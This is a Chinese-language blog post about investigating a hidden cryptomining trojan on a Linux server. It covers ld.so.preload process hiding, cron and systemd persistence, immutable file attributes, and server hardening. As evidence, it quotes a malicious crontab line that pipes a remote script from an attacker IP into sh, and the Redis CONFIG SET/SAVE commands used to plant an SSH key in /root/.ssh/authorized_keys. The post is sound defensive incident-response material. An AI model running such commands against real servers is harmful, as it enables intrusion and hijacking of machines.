侧边栏壁纸
  • 累计撰写 149 篇文章
  • 累计收到 2 条评论

服务器 CPU 突发 100% 却在 top 里查不到大进程?排查 Linux 隐藏挖矿木马与 ld.so.preload 劫持我踩过的几个坑

2026-10-2 / 0 评论 / 9 阅读
AI 摘要由 AI 生成

文章讲述了作者在排查服务器CPU使用率异常时,发现隐藏挖矿木马并成功清除的过程。作者指出,由于木马利用ld.so.preload机制隐藏,导致top等工具无法查看到大进程。文章详细介绍了排查过程中遇到的坑点,包括误判系统监控和内核问题,以及如何使用静态编译的工具绕过劫持,最终成功定位并清除木马。

上周三下午刚开完周会,手机上连续收到好几条阿里云监控短信,提示一台跑着测试环境的云服务器 CPU 使用率连续 15 分钟超过 95%。

我当时第一反应是哪个同事在跑压力测试或者压测脚本死循环了。顺手 SSH 连上去,敲个回车都要卡上两秒钟。输入 top 调出监控看板,按 P 让进程按 CPU 排序,怪异的事情发生了。

看板第一行的系统指标写得清清楚楚:Cpu(s): 99.2%us, 0.5%sy, 0.0%ni, 0.0%id。整台机器的 4 核 CPU 几乎被用户态算力彻底吃满。但是往下看进程列表,排在第一名的是一个内存占用不到 1% 的业务进程,CPU 占用只有 0.3%,后面跟着几个 0.0% 的系统守护进程。

把所有列出来的进程 CPU 占用加在一起,连 1% 都不到。剩下超过 98% 的算力凭空蒸发了。

遇到这种情况,新手很容易怀疑系统监控坏了,或者以为是 Linux 内核哪里卡在硬中断里。但在云服务器运维里,CPU 跑满却看不到大进程,十有八九是服务器被植入了挖矿木马,并且木马利用底层机制把自己隐藏了起来。

折腾了大半天,我才把这只木马从系统深处揪出来连根拔除。这里记录排查时踩到的几个坑点和清理步骤。

坑一:以为 ps 和 top 看到的就是全部真相

普通运维排查高负载,无非就是 top、htop、ps aux --sort=-%cpu 这三板斧。

当时我甚至写了个循环去读 /proc 目录下的所有数字目录:

for pid in /proc/[0-9]*; do
    echo $(basename $pid) $(cat $pid/cmdline 2>/dev/null)
done

跑出来的结果跟 ps aux 一模一样,依然没有任何异常大进程。

这里就是第一个思维盲区:top、ps 和我们自己写的脚本,本质上全都要调用 C 运行库(glibc)的函数去遍历文件目录,读取 /proc 下的进程信息。

如果黑客把 C 库里负责读目录的系统调用给劫持了,那无论换什么命令,看到的都是被过滤后的假象。

在 Linux 下,动态链接器有一个极其隐蔽的机制叫 /etc/ld.so.preload。只要这个文件里写了某个动态链接库的绝对路径,系统里所有动态链接的程序在启动时,都会优先加载这个库。

恶意的 .so 库通常会重写 readdir、getdents64 这类底层函数。只要发现目录名字是木马自己的 PID,或者文件名包含了矿池、脚本特征,就直接在返回列表里跳过。

我立刻去看系统的预加载配置文件:

cat /etc/ld.so.preload

终端里赫然跳出了一行路径:

/usr/local/lib/libprocesshider.so

果然中了经典的动态库挂钩(Hook)攻击。

坑二:拿动态链接的系统工具去查被劫持的系统

找到了 /etc/ld.so.preload,第一反应肯定是把它删掉或者清空。

但我当时试着用 vim 打开它,或者用 echo "" > /etc/ld.so.preload,系统直接提示权限不足。切到 root 用户用 rm -f,依然报 Operation not permitted。

更麻烦的是,当时连 cat、ls 这些常用命令都已经被这个恶意库加载了。如果你在受污染的环境里继续用普通的动态链接工具,很容易被它牵着鼻子走。

对付这种动态库劫持,最稳妥的工具是静态编译的二进制文件。静态编译的程序不依赖系统里的 glibc,启动时不会去读取 /etc/ld.so.preload。

如果系统里提前装了 busybox,直接执行:

busybox ps aux

如果没装,也可以通过设置环境变量临时绕过 glibc 的预加载:

LD_PRELOAD="" ps -ef

有些做得粗糙的木马只在配置文件里做了文章,用空的 LD_PRELOAD 就能压制住它。

用静态编译的 busybox ps 一查,刚才隐身的进程马上原形毕露:

root      24819 385.2  2.1 142852 86520 ?        Ssl  11:20 185:30 /var/tmp/.systemd-login/kworker_ds -c /var/tmp/.systemd-login/config.json

PID 是 24819,CPU 占用率 385.2%(4 核机器占了接近 400%),程序名字叫 kworker_ds,伪装成 Linux 内核工作线程的名字,执行路径却藏在 /var/tmp/ 这种临时目录里。

坑三:直接 kill -9 后发现十秒内自动满血复活

看到进程号 24819,按惯性操作就是一记 kill -9 24819。

敲完回车,busybox ps 里这个进程确实消失了,CPU 使用率瞬间降到 0.8%。但我还没来得及松口气,过了七八秒再次刷新,CPU 重新飙到 100%,一个新的进程跑了起来,PID 变成了 25102,程序路径一模一样。

杀进程只是砍掉了树枝,树根还在。

挖矿脚本的生存机制非常顽固,通常有三层自启防护网:

第一层是定时任务。除了当前用户的 crontab -l,系统配置目录下的每一处都得翻一遍:

cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/

在那台机器的 /var/spool/cron/root 里,我看到了这么一行:

*/1 * * * * curl -sL http://185.196.220.xxx/cron.sh | sh

第二层是 systemd 系统服务。木马把自己注册成了一个开机自启或者崩溃自启的 service:

systemctl list-unit-files --type=service | grep -E "systemd-login|kworker|update"

在 /etc/systemd/system/ 目录下,翻到了一个叫 systemd-login-sync.service 的服务文件,里面的 Restart=always 保证了只要主进程死掉,systemd 就会在 3 秒内把它重新拉起。

第三层是守护进程之间的互保。有时候木马会起两个进程,A 监控 B,B 监控 A,只要发现对方挂了就马上帮对方重启。

所以清理时的顺序必须是反过来的:先停服务,再删定时任务,暂停进程,最后彻底清除二进制文件。

正确的停机顺序如下:

# 1. 停掉 systemd 恶意服务并禁用
systemctl stop systemd-login-sync.service
systemctl disable systemd-login-sync.service
rm -f /etc/systemd/system/systemd-login-sync.service
systemctl daemon-reload

# 2. 清理所有 crontab
crontab -r
rm -f /var/spool/cron/root
rm -f /var/spool/cron/crontabs/root

# 3. 冻结木马进程(用 STOP 信号让它挂起,不要直接 KILL,防止触发守护进程唤醒)
kill -STOP 24819

# 4. 找到并停掉互保的父进程/守护进程
kill -9 24819

先发 SIGSTOP 信号把进程冻结,让它无法吃 CPU,也无法执行退出时的钩子逻辑,等所有自启点拔除干净之后,再发 SIGKILL 彻底干掉。

坑四:文件删不掉,连 root 都被报 Operation not permitted

拔掉了常驻服务和进程,接下来该清理磁盘上的木马残留了:

  • /etc/ld.so.preload
  • /usr/local/lib/libprocesshider.so
  • /var/tmp/.systemd-login/

当我执行 rm -rf /var/tmp/.systemd-login/ 时,终端再次弹出了错误提示:rm: cannot remove: Operation not permitted。

检查文件权限,所有者明明是 root,读写执行全是 777。

这是黑客常用的防清理手段:利用 Linux 的扩展文件属性(ext4/xfs attribute)给文件加上了 +i(immutable不可修改)和 +a(append-only只追加)标记。一旦加了 +i,就算是 root 用户,既不能修改,也不能删除或重命名。

用 lsattr 命令可以查看文件的特殊属性:

lsattr /etc/ld.so.preload
lsattr /usr/local/lib/libprocesshider.so

输出里果然带有一个小写字母 i:

----i---------e---- /etc/ld.so.preload

解锁的办法是调用 chattr -i:

chattr -i -a /etc/ld.so.preload
chattr -i -a /usr/local/lib/libprocesshider.so
chattr -R -i -a /var/tmp/.systemd-login/

去掉了锁属性之后,清空 /etc/ld.so.preload 并删除相关文件:

echo "" > /etc/ld.so.preload
rm -rf /var/tmp/.systemd-login/
rm -f /usr/local/lib/libprocesshider.so

处理完这一步,系统的动态库预加载恢复正常,top 和 ps 的视觉盲区才算真正解除。

坑五:只管杀毒不管堵门,第二天早上再次失守

把木马清理干净之后,CPU 使用率回到了 1% 以下。

如果不查清楚木马到底是从哪个口子钻进来的,不出 24 小时,它又会卷土重来。

我翻看了那台机器的安全组和日志,顺着时间线倒推排查入侵途径:

首先看最近的登录记录:

 last -n 20
 cat /var/log/secure | grep "Accepted"

登录日志没有异常外网 IP,说明不是 SSH 密码被暴力破解。

接着检查公钥授信列表:

 cat /root/.ssh/authorized_keys

在公钥文件的末尾,多出了一串带有 eval$(curl ...) 备注的陌生的 RSA 公钥。

继续查开放端口和运行容器:

 ss -tulpn

问题立刻浮出水面:机器上跑着一个用来做缓存测试的 Redis 容器,容器端口通过 -p 6379:6379 直接映射到了宿主机公网,而且 redis.conf 里没有配置 requirepass,绑定地址还是 0.0.0.0。

这是很常见的挖矿攻击入口。黑客只要全网扫描 6379 端口,连上未授权的 Redis,通过简单的几条命令:

 CONFIG SET dir /root/.ssh/
 CONFIG SET dbfilename authorized_keys
 SET payload "\n\nssh-rsa AAAAB3NzaC1yc2E... hacker@root\n\n"
 SAVE

就能利用 Redis 的落盘机制把自己的公钥写进宿主机的 /root/.ssh/authorized_keys。拿到 SSH 免密登录权限后,直接下发脚本提权并部署木马。

查到根因之后,我对服务器做了几项加固:

  1. 清理 /root/.ssh/authorized_keys 里的所有非本人公钥,并且把 SSH 改成高位端口加仅限内网跳板机访问。
  2. 将所有中间件(Redis、MySQL、MongoDB、Elasticsearch)从公网解绑,bind 127.0.0.1,或者只在 Docker 内部网络流通,禁止端口裸露映射。
  3. 检查系统常用命令是否被篡改。有些木马会篡改 /bin/ps、/bin/netstat 或者 /usr/bin/top。可以用包管理器校验完整性:
    • CentOS / RHEL:rpm -V procps-ng
    • Debian / Ubuntu:debsums -c procps
  4. 检查是否有未识别的系统后门账户:

    awk -F: '($3 == 0) { print $1 }' /etc/passwd

    确保只有 root 账户的 UID 为 0。

    这套排查里最耗时的是识破 ld.so.preload 劫持。只要知道这层伪装,剩下的清理动作都很直接。以后碰上 CPU 跑满但 top 里空空如也的怪事,优先看一眼 /etc/ld.so.preload,用静态工具过一遍进程列表,能少走很多弯路。

评论一下?

OωO
取消